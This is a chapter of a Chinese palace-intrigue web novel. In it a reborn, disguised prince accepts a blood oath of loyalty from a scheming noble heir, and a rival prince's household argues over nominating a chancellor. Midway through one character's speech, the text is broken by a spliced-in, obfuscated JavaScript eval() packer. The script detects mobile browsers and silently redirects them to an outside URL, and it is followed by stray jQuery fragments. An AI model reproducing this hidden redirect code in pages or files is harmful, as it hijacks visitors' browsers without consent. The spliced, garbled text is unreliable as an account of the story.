9. 歃血为盟

作品:《借我入骨刀

    周遭一切仿佛被定格。


    郭嬷嬷端着粥碗从小厨房回来的脚步,廊下僧人扫地的沙沙声,甚至连风过檐角的那一声呜咽,都变得清晰可闻。


    容锦紧绷了一夜的神经此刻反而松懈下来。


    是了。


    他要她命又有何用,反倒是一个不受宠、无根基、久病缠身的皇子,才是一枚绝世好棋。


    本就无人在意,无论落在哪处棋格,都掀不起风浪。


    可若由他这双翻云覆雨之手亲自执着,或许真能于无形中定乾坤。


    是生路,亦是绝路。


    除了以命为饵,躬身入局,她别无选择。


    良久,容锦轻轻吁出一口气。


    “世子,是在看我的笑话么?”


    她定了定心神,逐字斟酌,“眼下储君未定,既身为皇子,若说不想承嗣皇位,皆为虚言。”


    “只不过,我如今势单力薄,不及三哥在朝中根基深厚,亦不及六哥在军中声威赫赫。父皇与母妃,皆不属意于我。”


    “如此处境,除了坐待时机,又能如何?”


    话音落下。


    纪君衡脸上的笑意,终于深了些许。


    像最高明的棋手,终于等到了对手落下他预想中的那一子。


    他敛了笑,微微躬身,郑重对着她行了一个臣子之礼。


    “臣愿竭尽所能,辅佐殿下入主东宫。”


    声音里带着臣子对君主的恭谨,没有半分藩王世子的桀骜,亦无方才逼迫她时的狠戾。


    落在容锦耳中,何等讽刺。


    前世他兵临城下,逼得她自焚以谢天下时,未曾想过,他有对自己俯首称臣的这一刻。


    容锦坦然受了他这一礼,问得直接:“纪世子,为何选我?”


    这问题,像一枚无饵的直钩。不为钓鱼,只为试探深潭之下,究竟藏着怎样的蛟龙。


    纪君衡不急着答,负手绕她踱了两步。


    “一代君主一代功业,殿下不必妄自菲薄。”


    他走到她身侧,与她并肩而立,向京城方向望去。


    “晋王虽以贤德闻名于野,实则好大喜功,务虚忘实。赈灾施粥,必择闹市,抚恤遗孤,定邀大儒。看似仁德,却不知国库早已捉襟见肘,为那点盛名所累。此等人为君,不过是第二个前朝哀帝。”


    他目光转向西山大营方向:


    “至于齐王,沙场之上,或可称将才。但马上得天下,岂能马上治之?帐下之兵,骄横跋扈,封地之内,税重役繁。其人不通治国安民之术,一旦大权在握,必是穷兵黩武之主。届时四海烽烟再起,百姓何辜?”


    “再者——”


    他停下脚步,重新站定在她面前。


    “晋王也好,齐王也罢,此二人性情随父,权欲过重。一旦他日龙袍加身,必将费尽心思、不遗余力地削藩夺权,将我们这些诸侯王逐一除之,以固皇权。”


    “此非我所愿。”


    这一句,才是真话。


    说得风轻云淡,将所有的冠冕堂皇,撕得干干净净,只剩下最赤裸的利益与野心。


    容锦听懂了。


    她竟被他这份坦然的无耻,逗得轻笑一声。


    是啊。纵使他算无遗策,又怎会算到,有人能重生一世,踏上他今日所赠的青云路,只待时机,将他挫骨扬灰。


    容锦问道:“那纪世子又如何赌定,我若一朝登基,不会过河拆桥?”


    纪君衡看着她,沉静自若地吐出三个字。


    “你不会。”


    并非信任或期许。


    更像断言。


    带着智珠在握的自信,算尽布下的棋局,早已封死了对手的所有变数。


    容锦压下心底的寒意,面上强撑着笑。


    “眼下我处境微妙,若能得世子相助,确是求之不得的美事。”她迎上他的目光,终于将最后的问题抛出,“只是,你我初识不过数日,彼此底细尚且不明。而争储夺嫡,是拿身家性命作赌。”


    她目光坚定,问得尖锐。


    “我凭什么信你?”


    山风忽静。


    连绵的松涛声,似因这一问,敛了声息。


    容锦以为,纪君衡会列出千万条利弊,或是拿出什么信物作保。


    只见他抬手,将拇指送到口中,重重一咬。殷红的血珠自齿痕间渗出。


    他面不改色,用指腹将那血珠在唇边缓缓抹开,像一粒点在雪地上的朱砂。


    而后,迎着容锦骤缩的瞳孔,他一字一顿,声如金石。


    “苍天日月,可鉴臣心。我愿辅佐七皇子成为储君,除此别无二心。”


    容锦心头剧震。


    她设想过无数种可能,唯独没有料到会是这种方式——以血为盟,对天起誓。


    这是江湖草莽的信义,或沙场武夫的豪情,绝不该是一个工于心计,试图篡位谋反的藩王世子,会做出的事。


    在她失神的片刻,他坚定的声音再次响起,不留一丝退路:


    “若违此誓,今生复世,不得善终。”


    太真了。


    真到……让她觉得荒谬。


    少年眼底的光灼热如烈火,烧尽了所有算计与城府,只剩下孤注一掷的赤诚。不像装出来的,更像一种偏执的笃信,笃信自己的眼光,笃信选择的道路,笃信眼前的这个人,值得他赌上一切。


    容锦极尽全力才将那股几乎要冲破胸腔的惊涛骇浪重新压了回去。


    良久,她后退一步,理了理衣袍下摆,腰身一寸寸弯下,直至与地面平行。


    这是她表明入局的姿态。


    “世子心胸坦然,令我惭愧。我自知资质平庸,又不得父皇母妃所喜,恐会辜负世子期许。”


    她目光恳切,“还请世子收回重誓。”


    “既是誓约,岂有说收便收的道理?”


    纪君衡上前一步,伸手托住容锦的手肘,将她扶直。


    他松开手,负于身后,重新恢复了运筹帷幄的从容。


    “至于储位之争。”他道,“殿下不必过于忧虑,我自会为你,徐徐图之。”


    风穿过庭院,吹起容锦额前的一缕碎发。


    她知道,哪怕眼前是刀山火海,也必须闯一闯了。


    她敛去眼中最后一丝残存的惊疑与挣扎,试探道:“世人皆知,晋王、齐王素来不睦。如今父皇属意不明,朝臣观望。我这般处境,若要入局……世子以为,当先对谁下手?”


    纪君衡闻言,否认道:“殿下错了。为何要对他们下手?”


    容锦一怔。


    他声音淡淡,却一语道破玄机:“世人皆以为储位之争,是皇子争储。其实不然。”


    “从来只有,天子立储。”


    *


    夜已入定,万籁俱寂。


    晋王府正堂灯火通明,亮如白昼。


    主位上,晋王容傅端坐太师椅,身着月白色云纹锦袍,头戴玉冠。他微倾着身,一手闲闲搭在膝上。


    堂下,他费心延揽的属官门客早已分作两派,争论之声如沸水,几乎要掀翻屋顶。


    “殿下!”说话的是太傅韩禄,他两鬓微霜,声音却沉稳如钟,“宰相遇刺,国之不幸。然于我等,实乃天赐良机!相位一日空悬,朝局便一日不稳,圣上亦为此寝食难安。我等为人臣子,自当为君分忧。恳请殿下速定人选,明日朝会,我等合力举荐,则大事必成!”


    附和声四起。


    容傅似未闻,端起茶盏,慢条斯理地撇去浮沫。


    他当然知道这是天赐良机。


    可放眼望去,这满堂济济,又有哪一个,能真正担起宰辅二字?


    贸然推个无能之辈上去,将来捅出天大的篓子,收拾残局的,还不是他自己。思及此,他心底因时机而生的窃喜,又被这无人可用的窘境冲淡了。


    半晌,他抬眼环视一圈,声线温润平和:


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780063|190368||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “诸公之意,本王明白。只是宰相之位,事关国本,非同小可。不知诸公心中,可有贤才举荐?”


    此言一出,方才还嘈杂如市的正堂,瞬间落针可闻。


    前排几位德高望重的老臣,眼观鼻,鼻观心,额角隐隐见了汗。


    谁都想争这块天大的肥肉,可谁也不敢当出头鸟。提名旁人,便是断了自己的路,还得罪同僚。提名自己,又未免吃相太难看。


    容傅看得分明,也不点破。他缓和了语气,似是安抚:“诸公无需多虑。但有贤能,皆可举之。纵使不足任相,亦有别职可用。平日府中事忙,倒是本王疏忽了,若有明珠蒙尘,岂非本王之过?”


    韩太傅再次出列,一揖及地:“殿下仁德。老臣斗胆举荐一人。”


    容傅身体微倾,做出洗耳恭听之态。


    “杨国公,乃两朝元老,帝师之尊。其德行操守,天下共仰。若能请杨老出山,必能安稳朝局,上慰圣心。”


    听到“杨国公”三字,容傅眼底刚燃起的一丝期许,瞬间黯了下去。


    老狐狸。


    杨国公是他名义上的恩师,举荐他,是谁也挑不出错的政治正确。可谁不知道,杨国公早已不问政事,年迈体衰,根本不可能再入中枢。这番举荐,不过是老臣派为了排除异己,占据话语权抛出的一块玉罢了。


    “恩师德高望重,自是百官楷模。”容傅叹息一声,摆了摆手,“然恩师年事已高,本王实不忍心,再以朝堂俗务扰其清净。”


    堂下又是一阵压抑的沉默。韩太傅等人交换眼色,正欲再言,一道清朗的声音毫无预兆地自人群末席响起。


    “殿下,草民李闵,亦想举荐一人。”


    众人循声望去,只见一布衣文士疾步而出,身形瘦削,眉宇间透着一股清气。正是晋王近年来颇为赏识的寒门士子,李闵。


    “先生请讲。”容傅眉梢微抬,真来了几分兴趣。


    “此人乃草民旧时同窗。”李闵声如佩玉,字字清晰,“有经天纬地之才,安天下,定社稷,皆不在话下。若殿下肯屈尊一见,必知草民所言非虚。且他不久前亦投身殿下府上,现居在逸贤轩。”


    “逸贤轩”三字一出,堂中顿时响起一片压抑不住的嗤笑声。


    谁人不知,逸贤轩,乃晋王府收容的门客中,品级最低下的那一等,与杂役的院落,不过一墙之隔。


    韩太傅脸色一沉,厉声呵斥:“李闵!你可知你在说些什么!国之重器,岂容竖子妄言!殿下面前,再敢胡言乱语,休怪老夫不讲情面!”


    他往前一步,几乎是指着李闵的鼻子:“殿下礼贤下士,广纳贤才,你却挟恩图报,举荐亲故,欲以竖子动摇国本,是何居心?”


    这顶帽子扣得又大又重。


    李闵气得脸色涨红,梗着脖子还想再辩。


    容傅抬了抬手。


    轻描淡写的动作,止住了争论。


    容傅先是温言安抚了韩太傅等一众老臣,赞了句“诸公皆是为国谋,忠心可嘉”。随即才转向面有不甘的李闵,宽慰道:


    “先生所荐之人,本王记下了。既能得先生如此推崇,想必定有不凡之处。只是相位事关重大,不可操之过急。待改日,本王定当亲自去逸贤轩,向这位先生登门求教。现夜深了,不便打扰了。”


    话说到这份上,便是尘埃落定。


    李闵终是化作一声长叹,颓然退下。


    ……


    此刻,王府最偏僻冷清的逸贤轩。


    一盏孤灯,彻夜未熄。


    窗外风声鹤唳,屋内却静得能听见书页翻动的声音。


    崔临安放下手中的《推恩令》,抬起头,目光平静地望向窗外那轮被乌云遮蔽的残月。


    他不知道自己刚刚与一场滔天富贵擦肩而过。


    又或者,他并不在意。


    他等的,不是这阵留不住的堂前风。


    而是那道,起于青萍之末的。